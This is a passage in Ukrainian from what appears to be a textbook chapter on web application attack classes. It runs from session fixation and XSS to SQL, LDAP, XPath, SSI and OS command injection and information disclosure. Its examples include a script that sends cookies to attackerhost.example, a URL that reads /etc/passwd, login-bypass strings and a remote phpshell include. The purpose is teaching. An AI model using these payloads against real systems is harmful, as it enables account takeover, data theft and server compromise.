ідентифікатор сесії не був відзначений як недійсний, атакуючий отримає

доступ до сторінок сервера без повторної аутентифікації.

8.5.8 Фіксація сесії (Session Fixation)

Використовуючи даний клас атак, зловмисник присвоює

ідентифікатору сесії користувача задане значення. Залежно від

функціональних можливостей сервера, існує декілька способів

"зафіксувати" значення ідентифікатора сесії. Для цього можуть

використовуватися атаки типу міжсайтового виконання сценаріїв або

підготовка сайту з допомогою попереднього HTTP запиту. Після фіксації

значення ідентифікатора сесії атакуючий очікує моменту, коли користувач

увійде в систему. Після входу користувача, зловмисник використовує

ідентифікатор сесії для отримання доступу до системи від імені

користувача.

Можна виділити два типи систем управління сесіями на основі

ідентифікаторів. Перший з них, "дозволяючий", дає змогу браузеру

вказувати будь-який ідентифікатор. Системи другого "суворого" типу

обробляють тільки ідентифікатори, згенеровані сервером. Якщо

використовуються "дозволяючі" системи, зловмисник може вибрати будь-

який ідентифікатор сесії. У випадку із "суворими" серверами

зловмисникові доводиться підтримувати "сесію-заглушку" і періодично

з'єднуватися з сервером для уникнення закриття сесії за таймаут.

Без наявності активного захисту від фіксації сесії, ця атака може бути

використана проти будь-якого сервера, аутентифікує користувачів за

допомогою ідентифікатора сесії. Більшість Web-серверів зберігає ID в

cookie, але це значення так само може бути присутнім в URL або

прихованому полі форми.

119

На жаль, системи, що використовують cookie, є найбільш

вразливими. Більшість відомих на даний момент варіантів фіксації сесії

спрямовані саме на значення cookie.

На відміну від крадіжки ідентифікатора, фіксація сесії надає

зловмисникові набагато більший простір для творчості. Це пов'язано з тим,

що активна фаза атаки відбувається до входу користувача в систему.

Приклад

Атаки, спрямовані на фіксацію сесії зазвичай проходять у три етапи.

1) Встановлення сесії

Зловмисник встановлює сесію-заглушку на атакуючому сервер і

отримує від сервера ідентифікатор або вибирає довільний ідентифікатор. У

деяких випадках сесія-заглушка повинна підтримуватися в активному стані

шляхом періодичних звернень до сервера.

2) Фіксація сесії

Зловмисник передає значення ідентифікатора сесії-заглушки

браузеру користувача та фіксує його ідентифікатор сесії. Це можна

зробити, наприклад, встановивши значення cookie в браузері за допомогою

XSS.

3) Підключення до сесії

Атакуючий очікує аутентифікації користувача на сервері. Після того,

як користувач зайшов на сайт, зловмисник підключається до сервера,

використовуючи зафіксований ідентифікатор, і отримує доступ до сесії

користувача.

Для фіксації ID сесії можуть бути використані різні техніки, такі як:

- Встановлення значення cookie за допомогою мов сценаріїв на

стороні клієнта.

120

Якщо вразливість типу міжсайтового виконання сценаріїв присутня

на будь-якому сервері в домені, зловмисник отримує можливість

встановити значення cookie на стороні клієнта.

Приклад коду:

http://example/ <script> document.cookie = "sessionid = 1234;%

20domain =. example.dom"; </ script>. idc

- Встановлення значення cookie за допомогою тега META

Це техніка схожа на попередню, але може бути використана, коли

вжито заходів проти впровадження тегів сценаріїв.

Приклад коду:

http://example/ <meta%20http-equiv=Set-

Cookie%20content="sessionid=1234;%20domain=.example.dom">. idc

Встановлення cookie з використанням заголовка відповіді HTTP

Зловмисник використовує атакуючий сервер або будь-який сервер у

домені для того, щоб встановити cookie з ідентифікатором сесії.

Це може бути реалізовано різними методами, наприклад:

- Злам сервера в домені (наприклад, слабо адмініструються сервери

WAP).

- Підміна значень в кеші DNS-сервера користувача з метою додати

атакуючий сервер в домен.

- Встановлення помилкового WEB-сервера в домені (наприклад, на

робочій станції в середовищі Active Directory, де всі машини в DNS

належать одному домену).

- Використання атаки типу розщеплення HTTP відповіді (response

splitting).

8.5.9 Атаки на клієнтів (Client-side Attacks)

Цей розділ описує атаки на користувачів Web-сервера. Під час

відвідування сайту, між користувачем і сервером встановлюються довірчі

121

відносини, як у технологічному, так і в психологічному аспектах.

Користувач очікує, що сайт надасть йому легітимний вміст. Крім того,

користувач не очікує атак з боку сайту. Експлуатуючи цю довіру,

зловмисник може використовувати різні методи для проведення атак на

клієнтів сервера.

Підміна вмісту (Content Spoofing)

Використовуючи цю техніку, зловмисник змушує користувача

повірити, що сторінки сгенерірованни Web-сервером, а не передана з

зовнішнього джерела.

Деякі Web-сторінки створюються з використанням динамічних

джерел HTML-коду. Приміром, розташування фрейму (<frame src="

http://foo.example/file.html">) може передаватися у параметрі URL

(http://foo.example/page?frame_src=http://foo.example / file.html). Атакуючий

може замінити значення параметра "frame_src" на "frame_src =

http://attacker.example/spoof.html". Коли буде відображатися результуюча

сторінка, у рядку адреси браузера користувача відображатиметься адреса

сервера (foo.example), але так само на сторінці буде присутній вміст із

зовнішнього джерела, завантажене з сервера атакуючого (attacker.example),

замасковане під легальний контент.

Спеціально створене посилання може бути надіслана електронною

поштою, системі моментального обміну повідомленнями, опублікована на

дошці повідомлень або відкрита в браузері користувача з використанням

міжсайтового виконання сценаріїв. Якщо атакуючий спровокував

користувача на перехід по спеціально створеному посиланню, у

користувача може скластися враження, що він переглядає дані з сервера, в

той час як частина їх була сгенерірованна зловмисником.

Таким чином, станеться "дефейс" сайту http://foo.example на стороні

користувача, оскільки вміст сервера буде додано з сервера

122

http://attacker.example. Ця атака так само може використовуватися для

створення помилкових сторінок, таких як форми введення пароля, прес-

релізи та інше.

Приклад

Створення помилкового прес-релізу. Припустимо, що Web-сервер

динамічно генерує фрейми на сторінці з прес-релізами компанії. Коли

користувач перейде за посиланням

http://foo.example/pr?pg=http://foo.example/pr/01012003.html в його

браузер завантажиться сторінка наступного змісту:

Приклад коду:

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

<FRAME NAME="pr_content" SRC="

http://foo.example/pr/01012003.html>

</ FRAMESET>

</ HTML>

Додаток "pr" створює сторінку з меню й динамічно створюваний

значенням тега FRAME SRC. Фрейм "pr_content" відображає сторінку,

вказану у параметрі "pg" HTTP-запиту. Але оскільки атакуючий змінив

стандартний URL на значення

http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html і

сервер не проводить перевірки параметра "pg", результуючий HTML код

буде мати наступний вигляд:

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

123

<FRAME NAME="pr_content"

SRC="http://attacker.example/spoofed_press_release.html">

</ FRAMESET>

</ HTML>

Для кінцевого користувача вміст, завантажений з сервера

"attacker.example" буде виглядати, як сторінка сервера "foo.example".

Міжсайтового виконання сценаріїв (Cross-site Scripting, XSS)

Наявність вразливості Cross-site Scripting дозволяє атакуючому

передати серверу код, який буде виконуватися перенаправлено браузеру

користувача. Цей код зазвичай створюється на мовах HTML / JavaScript,

але можуть бути використані VBScript, ActiveX, Java, Acnion Script,.

Переданий код виконується в контексті безпеки (або у зоні безпеки)

вразливого сервера. Використовуючи ці привілеї, код отримує можливість

читати, модифікувати або передавати важливі дані, доступні за допомогою

браузера. У атакованого користувача може бути скомпрометований

аккакунт (крадіжка cookie), його браузер може бути перенаправлений на

інший сервер або здійснена підміна вмісту сервера. У результаті ретельно

спланованої атаки зловмисник може використовувати браузер жертви для

перегляду сторінок сайту від імені атакуємого користувача. Код може

передаватися зловмисником в URL, в заголовках HTTP запиту (cookie,

user-agent, refferer), значеннях полів форм і т.д.

Існує два типи атак, що приводять до міжсайтового виконання

сценаріїв: постійні (збережені) і непостійні (відображені). Основною

відмінністю між ними є те, що у другому варіанті передача коду сервером

та повернення його клієнту здійснюється в рамках одного HTTP-запиту, а

в першому - в різних.

Здійснення непостійної атаки вимагає, щоб користувач перейшов за

посиланням, згенерованому зловмисником (посилання може бути передана

124

за email, ICQ тощо). У процесі завантаження сайту код, впроваджений в

URL або заголовки запиту буде переданий клієнту і виконаний у його

браузері. Збережена різновид вразливості виникає, коли код передається

серверу і зберігається на ньому на деякий проміжок часу. Найбільш

популярними цілями атак у цьому випадку є форуми, пошта з Web-

інтерфейсом і чати. Для атаки користувачеві не обов'язково переходити по

посиланню, досить відвідати вразливий сайт.

Приклад

Багато сайтів мають дошки оголошень і форуми, які дозволяють

користувачам залишати повідомлення. Зареєстрований користувач

зазвичай ідентифікується за номером сесії, що зберігається в cookie. Якщо

атакуючий залишить повідомлення, що містить код на мові JavaScript, він

отримає доступ до ідентифікатора сесії користувача.

Приклад коду для передачі cookie:

<SCRIPT> Document.location = 'http://attackerhost.example/cgi-

bin/cookiesteal.cgi?' + Document.cookie </ SCRIPT>

Відбитий варіант атаки

Багато серверів надають користувачам можливість пошуку по змісту

сервера. Як правило, запит передається в URL і міститься в результуючій

сторінці.

Прикладом, при переході по URL http://portal.example/search?q =

"fresh beer" користувачеві буде відображена сторінка, що містить

результати пошуку і фразу:

"По вашому запиту fresh beer знайдено 0 сторінок". Якщо в якості

фрази, що шукається буде переданий Javascript, він виконається в браузері

користувача.

125

Розщеплення HTTP-запиту (HTTP Response Splitting)

При використанні даної вразливості зловмисник посилає серверу

спеціальним чином сформований запит, відповідь на який інтерпретується

метою атаки як дві різні відповіді. Друга відповідь повністю

контролюється зловмисником, що дає йому можливість підробити

відповідь сервера.

У реалізації атак з розщепленням HTTP-запиту беруть участь як

мінімум три сторони:

- Web-сервер, який містить подібну вразливість.

- Мета атаки, що взаємодіють з Web-сервером під управлінням

зловмисника. Типово в якості мети атаки виступає кешуючий сервер-

посередник або кеш браузера.

- Атакуючий, який ініціює атаку.

Можливість здійснення атаки виникає, коли сервер повертає дані,

надані користувачем в заголовках HTTP відповіді. Зазвичай це

відбувається при перенаправлення користувача на іншу сторінку (коди

HTTP 3xx) або коли дані, отримані від користувача, зберігаються в cookie.

У першій ситуації URL, на який відбувається перенаправлення, є

частиною заголовка Location HTTP відповіді, а в другому випадку

значення cookie передається в заголовку Set-Cookie.

Основою розщеплення HTTP-запиту є впровадження символів

переведення рядка (CR і LF) таким чином, щоб сформувати дві HTTP

транзакції, в той час як реально буде відбуватися тільки одна. Переклад

рядка використовується для того, що б закрити першу (стандартну)

транзакцію, і сформувати другу пару питання / відповідь, повністю

контрольовану зловмисником і абсолютно непередбачувану логікою

програми.

126

В результаті успішної реалізації цієї атаки зловмисник може

виконати наступні дії:

• Міжсайтового виконання сценаріїв.

• Модифікація даних кеша сервера-посередника. Деякі кешуючий сервери-

посередники (Squid 2.4, NetCache 5.2, Apache Proxy 2.0 і ряд інших),

зберігають підроблений зловмисником відповідь на жорсткому диску і на

подальші запити користувачів за цією адресою повертають кешовані дані.

Це призводить до заміни сторінок сервера на стороні клієнта. Крім цього,

зловмисник може переправити собі значення Cookie користувача або

присвоїти їм певне значення. Так само ця атака може бути спрямована на

індивідуальний кеш браузера користувача.

• Міжкористувацька атака (один користувач, одна сторінка, тимчасова

підміна сторінки). При реалізації цієї атаки зловмисник не посилає

додатковий запит. Замість цього використовується той факт, що деякі

сервери-посередники поділяють одне TCP-з'єднання до сервера між

декількома користувачами. У результаті другий користувач отримує у

відповідь сторінку, сформовану зловмисником. Крім підміни сторінки

зловмисник може також виконати різні операції з cookie користувача.

• Перехоплення сторінок, що містять дані користувача. У цьому випадку

зловмисник отримує відповідь сервера замість самого користувача. Таким

чином, він може отримати доступ до важливої або конфіденційної

інформації.

8.6. Виконання коду (Command Execution)

Ця секція описує атаки, спрямовані на виконання коду на Web-

сервері. Всі сервери використовують дані, віддані користувачем при

обробці запитів. Часто ці дані використовуються при складанні команд, що

застосовуються для генерації динамічного вмісту. Якщо при розробці не

127

враховуються вимоги безпеки, зловмисник отримує можливість

модифікувати виконавчі команди.

8.6.1. Переповнення буфера (Buffer Overflow)

Експлуатація переповнення буфера дозволяє зловмисникові змінити

шлях виконання програми за допомогою перезапису даних у пам'яті

системи. Переповнення буфера є найбільш поширеною причиною помилок

у програмах. Воно виникає, коли обсяг даних перевищує розмір виділеної

під них буфера. Коли буфер переповнюється, дані переписують інші

області пам'яті, що призводить до виникнення помилки. Якщо зловмисник

має можливість управляти процесом переповнення, це може викликати ряд

серйозних проблем.

Переповнення буфера може викликати відмови в обслуговуванні,

приводячи до пошкодження пам'яті і викликаючи помилки в програмах.

Більш серйозні ситуації дозволяють змінити шлях виконання програми і

виконати в її контексті різні дії. Це може відбуватися в кількох випадках.

Використовуючи переповнення буферу, можна перезаписувати

службові області пам'яті, наприклад, адресу повернення з функцій у стеці.

Також, при переповненні можуть бути переписані значення змінних у

програмі.

Переповнення буфера є найбільш поширеною проблемою в безпеці і

часто зачіпає Web-сервери. Проте атаки, що експлуатують цю вразливість,

використовуються проти Web-додатків не дуже часто. Причина цього є в

тому, що атакуючому, як правило, необхідно проаналізувати вихідний код

або образ програми. Оскільки атакуючому доводиться експлуатувати

нестандартну програму на віддаленому сервері, йому доводиться атакувати

"всліпу", що знижує шанси на успіх.

128

Переповнення буфера в основному виникає при створенні програм

на мовах C і C + +. Якщо частина сайту створена з використанням цих мов,

сайт може бути вразливий для переповнення буферу.

8.6.2. Атака на функції форматування рядків (Format String Attack)

При використанні цих атак шлях виконання програми модифікується

методом перезапису областей пам'яті за допомогою функцій форматування

символьних змінних. Вразливість виникає, коли дані користувача

застосовуються в якості аргументів функцій форматування рядків, таких як

fprintf, printf, sprintf, setproctitle, syslog і т.д. Якщо атакуючий передає

додатком рядок, що містить символи форматування ("% f", "% p", "% n" і

т.д.), то в нього з'являється можливість:

- Виконати довільний код на сервері;

- Зчитувати значення зі стека;

- Викликати помилки в програмі / відмова в обслуговуванні.

Приклад

Припустимо, Web-додаток зберігає параметр emailAddress для

кожного користувача. Це значення використовується в якості аргументу

функції printf:

printf (emailAddress);

Якщо значення змінної emailAddress містить символи форматування,

функція printf буде обробляти їх згідно закладеної в ній логіки. Оскільки

додаткових значень цієї функції не передано, будуть використані значення

стека, що зберігають інші дані.

Можливі наступні методи експлуатації атак на функції форматування

рядків:

- Считування даних з стека:

129

Якщо вивід функції printf передається атакуючому, він отримує

можливість читання даних з стека, використовуючи символ форматування

"% x".

- Читання рядків з пам'яті процесу:

Якщо вивід функції printf передається атакуючому, він може

отримувати рядки з пам'яті процесу, передаючи в параметрах символ "%

s".

- Запис цілочисельних значень в пам'ять процесу:

Використовуючи символ форматування "% n", зловмисник може

зберігати цілочисельні значення в пам'яті процесу. Таким чином можна

переписати важливі значення, наприклад права управління доступом або

адресу повернення.

8.6.3 Впровадження операторів LDAP (LDAP Injection)

Атаки цього типу спрямовані на Web-сервери, що створюють запити

до служби LDAP на основі даних, які вводяться користувачем. Спрощений

протокол доступу до служби каталогу (Lightweight Directory Access

Protocol, LDAP) - відкритий протокол для створення запитів і управління

службами каталогу сумісними зі стандартом X.500. Протокол LDAP

працює поверх транспортних протоколів Internet (TCP / UDP). Web-

додаток може використовувати дані, надані користувачем для створення

запитів по протоколу LDAP при генерації динамічних Web-сторінок. Якщо

інформація, отримана від клієнта, належним чином не верифікуються,

атакуючий отримує можливість модифікувати LDAP-запит.

Запит буде виконуватися з тим же рівнем привілеїв, з яким працює

компонент програми, що виконує запит (сервер СУБД, Web-сервер і т.д).

Якщо цей компонент має права на читання або модифікацію даних у

структурі каталогу, зловмисник отримує ті ж можливості.

130

Техніка експлуатації даної вразливості мало відрізняється від

впровадження операторів SQL, описаної далі.

Часто атакуючий має повний контроль над запитом і отримує його

результати від сервера .

Приклад атаки

http://example/ldapsearch.asp?user =*

У цьому випадку серверу передається символ * як параметр, що

призводить до формування запиту з фільтром uid =*. Виконання запиту

призводить до відображенням всіх об'єктів, що мають атрибут uid.

8.6.4. Виконання команд ОС (OS Commanding)

Атаки цього класу спрямовані на виконання команд операційної

системи на Web-сервері шляхом маніпуляції вхідними даними. Якщо

інформація, отримана від клієнта, належним чином не верифікуються,

атакуючий отримує можливість виконати команди ОС. Вони будуть

виконуватися з тим же рівнем привілеїв, з яким працює компонент

програми, що виконує запит (сервер СУБД, Web-сервер і т.д).

Приклад

Мова Perl дозволяє перенаправляти вивід процесу оператору open

використовуючи символ '|' в кінці імені файлу:

# Виконати "/ bin / ls" і передати

# Результат оператору open

open (FILE, "/ bin / ls |")

Web-додатки часто використовують параметри, які вказують на те,

який файл відображати або використовувати як шаблон. Якщо цей

параметр не перевіряється досить ретельно, атакуючий може підставити

команди ОС після символу "|".

Припустимо, додаток оперує URL наступного виду:

131

http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt.

Змінюючи значення параметра template, зловмисник дописує необхідну

команду (/ bin / ls) до використовуваної додатком:

http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls |

Більшість мов сценаріїв дозволяє запускати команди ОС під час

виконання, використовуючи варіанти функції exec. Якщо дані, отримані

від користувача, передаються цієї функції без перевірки, зловмисник може

виконати команди ОС віддалено. Наступний приклад ілюструє вразливий

PHP-сценарій.

exec ("ls-la $ dir", $ lines, $ rc);

Використовуючи символ ";" (Unix) або "&" (Windows) в параметрі dir

можна виконати команду операційної системи:

http://example/directory.php?dir =% 3Bcat% 20/etc/passwd

У результаті подібного запиту зловмисник отримує вміст файлу

/etc/passwd.

8.6.5 Впровадження операторів SQL (SQL Injection) (додаток)

Ці атаки спрямовані на Web-сервери, що створюють SQL запити до

серверів СУБД на основі даних, які вводяться користувачем.

Мова запитів Structured Query Language (SQL) являє собою

спеціалізований мова програмування, що дозволяє створювати запити до

серверів СУБД. Більшість серверів підтримують цю мову у варіантах,

стандартизованих ISO та ANSI. У більшості сучасних СУБД присутні

розширення діалекту SQL, специфічні для даної реалізації (T-SQL в

Microsoft SQL Server, - PL SQL в Oracle і т.д.). Багато Web-додатки

використовують дані, передані користувачем, для створення динамічних

Web-сторінок.

Якщо інформація, отримана від клієнта, належним чином не

верифікуються, атакуючий отримує можливість модифікувати запит до

132

SQL-серверу, що відправляється додатком. Запит буде виконуватися з тим

же рівнем привілеїв, з яким працює компонент програми, що виконує

запит (сервер СУБД, Web-сервер і т.д). У результаті зловмисник може

отримати повний контроль на сервером СУБД і навіть його операційною

системою. З точки зору експлуатації SQL Injection дуже схожа на LDAP

Injection.

Приклад

Припустимо, аутентифікація в Web-додаток здійснюється за

допомогою Web-форми, оброблюваної наступним кодом:

SQLQuery = "SELECT Username FROM Users WHERE

Username = '"& strUsername &"' AND Password = '"

& StrPassword & "'" strAuthCheck =

GetQueryResult (SQLQuery)

У цьому випадку розробники безпосередньо використовує передані

користувачами значення strUsername і strPassword для створення SQL-

запиту. Припустимо, зловмисник передасть наступні значення параметрів:

Login: 'OR''='

Password: 'OR''='

У результаті сервера буде переданий наступний SQL-запит:

SELECT Username FROM Users WHERE Username =''OR

''='' AND Password =''OR''=''

Замість порівняння ім'я користувача та пароль з записами в таблиці

Users, цей запит порівнює порожню рядок з пустим рядком. Природно,

результат подібного запиту завжди буде дорівнювати True, і зловмисник

увійде в систему від імені першого користувача в таблиці.

Зазвичай виділяють два методи експлуатації впровадження

операторів SQL: звичайна атака, і атака наосліп (Blind SQL Injection). У

133

першому випадку зловмисник підбирає параметри запиту, використовуючи

інформацію про помилки, що генерується Web-додатком.

Приклад

Додаючи оператор union до запиту зловмисник перевіряє доступність

бази даних:

http://example/article.asp?ID=2+union+all+select+name+from+sysobjects

Сервер генерує повідомлення, аналогічне наступного:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14 '

[Microsoft] [ODBC SQL Server Driver] [SQL Server] All

queries in an SQL statement containing a UNION

operator must have an equal number of expressions

in their target lists.

З цього випливає, що оператор union був переданий серверу, і тепер

зловмисникові необхідно підібрати використовуване у вихідному виразі

select кількість параметрів.

Впровадження SQL коду наосліп

У цьому випадку стандартні повідомлення про помилки

модифіковані, і сервер повертає зрозумілу для користувача інформацію

про неправильне введення. Здійснення SQL Injection може бути здійснене і

в цій ситуації, проте виявлення вразливості утруднене. Найбільш

поширений метод перевірки наявності проблеми - додавання виразів,

повертають істинне і помилкове значення.

Виконання подібного запиту до сервера:

http://example/article.asp?ID=2+and+1=1

має повернути ту ж сторінку, що й запит:

http://example/article.asp?ID=2

оскільки вираження 'and 1 = 1' завжди правдиве.

Якщо в запит додається вираз, повертає значення «неправда»:

134

http://example/article.asp?ID=2+and+1=0

користувачеві буде повернуто повідомлення про помилки або

сторінка не буде згенерована.

У разі якщо факт наявність вразливості підтверджений, експлуатація

нічим не відрізняється від звичайного варіанта.

8.6.6. Впровадження серверних розширень (SSI Injection)

Атаки даного класу дозволяють зловмисникові передати

виконуваний код, який надалі буде виконаний на Web-сервері.

Вразливості, що приводять до можливості здійснення даних атак, зазвичай

полягають у відсутності перевірки даних, наданих користувачем, перед

збереженням.

Перед генерацією HTML сторінки сервер може виконувати сценарії,

наприклад Server-site Includes (SSI). У деяких ситуаціях вихідний код

сторінок генерується на основі даних, наданих користувачем.

Якщо атакуючий передає серверу оператори SSI, він може отримати

можливість виконання команд операційної системи або включити до неї

заборонений вміст при наступному відображенні.

Приклад

Наступний вираз буде інтерпретовано як команда, для перегляду

вміст каталогу сервера в Unix системах.

<! - # Exec cmd = "/ bin / ls /" ->

Наступний вираз дозволяє отримати рядок з'єднання з базою даних

та іншу чутливу інформацію, розташовану у файлі конфігурації програми.

NET.

<!--# INCLUDE VIRTUAL = "/ web.config" ->

Інші можливості для атаки виникають, коли Web-сервер

використовує в URL ім'я підключаємого файлу сценаріїв, але належним

чином його не веріфікує. У цьому випадку зловмисник може створити на

135

сервері файл і підключити його до виконуваного сценарію, або вказати в

якості імені сценарію URL своєму сервері.

Приклад

Припустимо, Web-додаток працює з посиланнями подібними

наступній:

http://portal.example/index.php?template=news

$ Body = $ _GET ['page']. ". Php";

У ході опрацювання цього запиту сценарій index.php підключає

сценарій news.php і виконує вказаний в ньому код.

Зловмисник може вказати в якості URL

http://portal.example/index.php?template=http://attacker.example/phpshell і

сценарій phpshell буде завантажений з сервера зловмисника і виконаний на

сервері з правами Web-сервера.

Якщо на сервері передбачена функція збереження документів

користувача, зловмисник може попередньо зберегти необхідний сценарій і

викликати його через функцію підключення

(http://portal.example/index.php?template=users/uploads/phpshell) або

безпосередньо (http://portal .example / users / uploads / phpshell.php).

8.6.7. Впровадження операторів XPath (XPath Injection)

Ці атаки спрямовані на Web-сервери, що створюють запити на мові

XPath на основі даних, які вводяться користувачем.

Мова XPath 1.0 розроблений для надання можливості звернення до

частин документа на мові XML. Він може бути використаний

безпосередньо або в якості складової частини XSLT-перетворення XML-

документів або виконання запитів XQuery.

Синтаксис XPath близький до мови SQL запитів. Припустимо, що

існує документ XML, що містить елементи, відповідні іменам

користувачів, кожен з яких містить три елементи - ім'я, пароль та номер

136

рахунку. Наступний вираз мовою XPath дозволяє визначити номер рахунку

користувача "jsmith" з паролем "Demo1234":

string (/ / user [name / text () = 'jsmith' and

password / text () = 'Demo1234'] / account / text ())

Якщо запити XPath генеруються під час виконання на основі

користувальницького введення, у атакуючого з'являється можливість

модифікувати запит з метою обходу логіки роботи програми.

Приклад

Припустимо, що Web-додаток використовує XPath для запитів до

даного документу XML для отримання номерів рахунки користувачів, чиє

ім'я і пароль було передано клієнтом. Якщо це додаток впроваджує дані

користувача безпосередньо до запиту, це призводить до виникнення

вразливості.

Приклад (Microsoft ASP.NET і C #):

XmlDocument XmlDoc = new XmlDocument();

XmlDoc.Load("...");

XPathNavigator nav = XmlDoc.CreateNavigator();

XPathExpression expr =

nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'

and password/text()='"+TextBox2.Text+

"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));

if (account=="") {

// name+password pair is not found in the XML document

-

// login failed.

137

} else {

// account found -> Login succeeded.

// Proceed into the application.

}

У разі використання подібного коду зловмисник може впровадити в

запит вираз на мові XPath, наприклад, ввести в якості імені користувача

наступний вираз:

'or 1 = 1 or''='

У цьому випадку, запит завжди буде повертати рахунок першого

користувача в документі, оскільки буде виглядати наступним чином:

string (/ / user [name / text ()='' or 1 = 1 or''='' and

password / text () = 'foobar'] / account / text ())

У результаті зловмисник отримає доступ до системи від імені

першого в документі XML користувача не надаючи ім'я користувача та

пароль.

8.6.8 Розголошення інформації (Information Disclosure)

Атаки даного класу направлені на отримання додаткової інформації

про Web-додатку. Використовуючи ці вразливості, зловмисник може

визначити використовувані дистрибутиви ПЗ, номери версій клієнта і

сервера і встановлені оновлення. В інших випадках, в витікаючій

інформації може міститися розташування тимчасових файлів або

резервних копій. У багатьох випадках ці дані не потрібні для роботи

користувача. Більшість серверів надають доступ до надмірного обсягом

даних, однак необхідно мінімізувати обсяг службової інформації. Чим

більшими знаннями про програму буде знати зловмисник, тим легше йому

буде скомпрометувати систему.

138

Індексування директорій (Directory Indexing)

Надання списку файлів в директорії являє собою нормальну

поведінку Web-сервера, якщо сторінка, яка відображається за умовчанням

(index.html / home.html / default.htm) відсутня.

Коли користувач запитує основну сторінку сайту, він зазвичай

вказуєте доменне ім'я сервера без імені конкретного файлу

(http://www.example). Сервер переглядає основну папку, знаходить у ній

файл, який використовується за умовчанням, і на його основі генерує

відповідь. Якщо такий файл відсутній, як відповідь може повернутися

список файлів в директорії сервера.

Ця ситуація аналогічна виконання команди "ls" (Unix) або "dir"

(Windows) на сервері і форматування результатів у вигляді HTML.

У цій ситуації зловмисник може отримати доступ до даних, не

призначеним для вільного доступу. Досить часто адміністратори

покладаються на "безпека через приховування", припускаючи, що раз

гіперпосилання на документ відсутній, то він недоступний. Сучасні

сканери вразливостей, такі як Nikto, можуть динамічно додавати файли і

папки до списку сканованих залежно від результатів запитів.

Використовуючи інформацію із / robots.txt або отриманого списку

директорій сканер може знайти прихований вміст або інші файли.

Таким чином, зовні безпечне індексування директорій може

призвести до витоку важливої інформації, яка в подальшому буде

використана для проведення атак на систему.

Приклад:

Використовуючи індексування можна дістати доступ до таких даних:

- Резервні копії (. Bak,. Old or. Orig);

- Тимчасові файли. Такі файли повинні вилучатися сервером

автоматично, але іноді залишаються доступними.

139

- Заховані файли, назва яких починається з символу ".";

- Угода про імена. Ця інформація може допомогти передбачити імена

файлів чи директорій (admin або Admin, back-up або backup).

- Список користувачів сервера. Досить часто для кожного з

користувачів створюється папка з ім'ям, заснованому на назві профілю.

- Імена файлів конфігурації (. Conf,. Cfg or. Config)

- Вміст серверних сценаріїв або виконуваних файлів у разі невірно

зазначених розширень чи дозволів.

Можуть використовуватися три основні сценарії отримання списку

файлів:

1) Помилки конфігурації. Подібні проблеми виникають, коли

адміністратор помилково вказує в конфігурації сервера цю опцію. Подібні

ситуації часто виникають під час налаштування складних конфігурацій, де

деякі папки повинні бути доступні для перегляду. З точки зору

зловмисника запит не відрізняється від зазначеного раніше. Він просто

звертається до директорії і аналізує результат. Його не турбує, чому сервер

веде себе подібним чином.

2) Деякі компоненти Web-сервера дозволяють отримувати список

файлів, навіть якщо це не дозволено у конфігураційних файлах. Зазвичай

це виникає в результаті помилок реалізації, коли сервер генерує список

файлів при отриманні певного запиту.

3) Бази даних пошукових машин (Google, Wayback machine) можуть

містити кеш старих варіантів сервера, включаючи списки файлів.

Ідентифікація додатків (Web Server/Application Fingerprinting)

Визначення версій додатків використовується зловмисником для

отримання інформації про використовувану сервером і клієнтом

операційних системах, Web-серверах і браузерах. Також ця атака може

140

бути спрямована на інші компоненти Web-додатків, наприклад, службу

каталогу чи сервер баз даних.

Зазвичай подібні атаки здійснюються шляхом аналізу різної

інформації, що надається Web-сервером, наприклад:

• Особливості реалізації протоколу HTTP;

• Заголовки HTTP-відповідей;

• Використовувані сервером розширення файлів (. Asp або. Jsp);

• Значення Cookie (ASPSESSION і т.д.);

• Повідомлення про помилки;

• Структура каталогів і використовуване угоду про імена (Windows / Unix);

• Інтерфейси підтримки розробки Web-додатків (Frontpage / WebPublisher);

• Інтерфейси адміністрування сервера (iPlanet / Comanche);

• Визначення версій операційної системи.

Для визначення версій клієнтських додатків зазвичай

використовується аналіз HTTP-запитів (порядок слідування заголовків,

значення User-agent і т.д.). Проте, для цих цілей можуть застосовуватись і

інші техніки. Так, наприклад, аналіз заголовків листів, створених за

допомогою клієнта Microsoft Outlook, дозволяє визначити версію

встановленого на комп'ютері браузера Internet Explorer.

Наявність детальної та точної інформації про використовуваних

додатках дуже важливо для зловмисника, оскільки реалізація багатьох атак

(наприклад, переповнювання буфера) специфічна для кожного варіанту

операційної системи або програми. Крім того, детальна інформація про

інфраструктуру дозволяє зменшити кількість помилок, і як наслідок -

загальний «шум", що виробляється атакуючим. Даний факт відзначено в

HTTP RFC 2068, які рекомендують щоб значення заголовка Server HTTP

відповіді був налаштованим параметром.

Не дивлячись на вимоги HTTP RFC, існують семантичні особливості при

141

генерації заголовків різними серверами. Наприклад, Apache передає

параметр Date перед значенням заголовка Server, у той час як IIS

використовує зворотний порядок. Порядок значень параметрів так само

може відрізнятися. Наприклад, під час обробки запиту OPTIONS Apache

повертає тільки параметр Allow, в той час як IIS додатково включає

параметр Public.

Аналогічним чином може аналізуватися наявність опціональних

заголовків (Vary, Expires і т.д.) і реакція сервера на невірні запити ("GET /

/", "GET /% 2f" і т.д.).

Витік інформації (Information Leakage)

Ці вразливості виникають у ситуаціях, коли сервер публікує важливу

інформацію, наприклад коментарі розробників або повідомлення про

помилки, яка може бути використана для компрометації системи. Цінні з

точки зору зловмисника дані можуть міститися в коментарях HTML,

повідомленнях про помилки або просто бути присутнім у відкритому

вигляді. Існує величезна кількість ситуацій, в яких може статися витік

інформації. Не обов'язково вона приводить до виникнення вразливості, але

часто дає атакуючому чудовий посібник для розвитку атаки. З витоком

важливої інформації можуть виникати ризики різного ступеня, тому

необхідно мінімізувати кількість службової інформації, доступної на

клієнтській стороні.

Аналіз доступної інформації дозволяє зловмисникові зробити

розвідку і отримати уявлення про структуру директорій сервера, що

використовуються у SQL запитах, назвах ключових процесів і програм

сервера.

Часто розробники залишають коментарі у HTML сторінках і коді

сценаріїв для полегшення пошуку помилок і підтримки програми. Ця

інформація може варіюватися від простих описів деталей функціонування

142

програми до, в гірших випадках, імен користувачів і паролів, які

використовуються при налагодженні.

Витік інформації може відноситися і до конфіденційних даних,

оброблюваних сервером. Це можуть бути ідентифікатори користувача

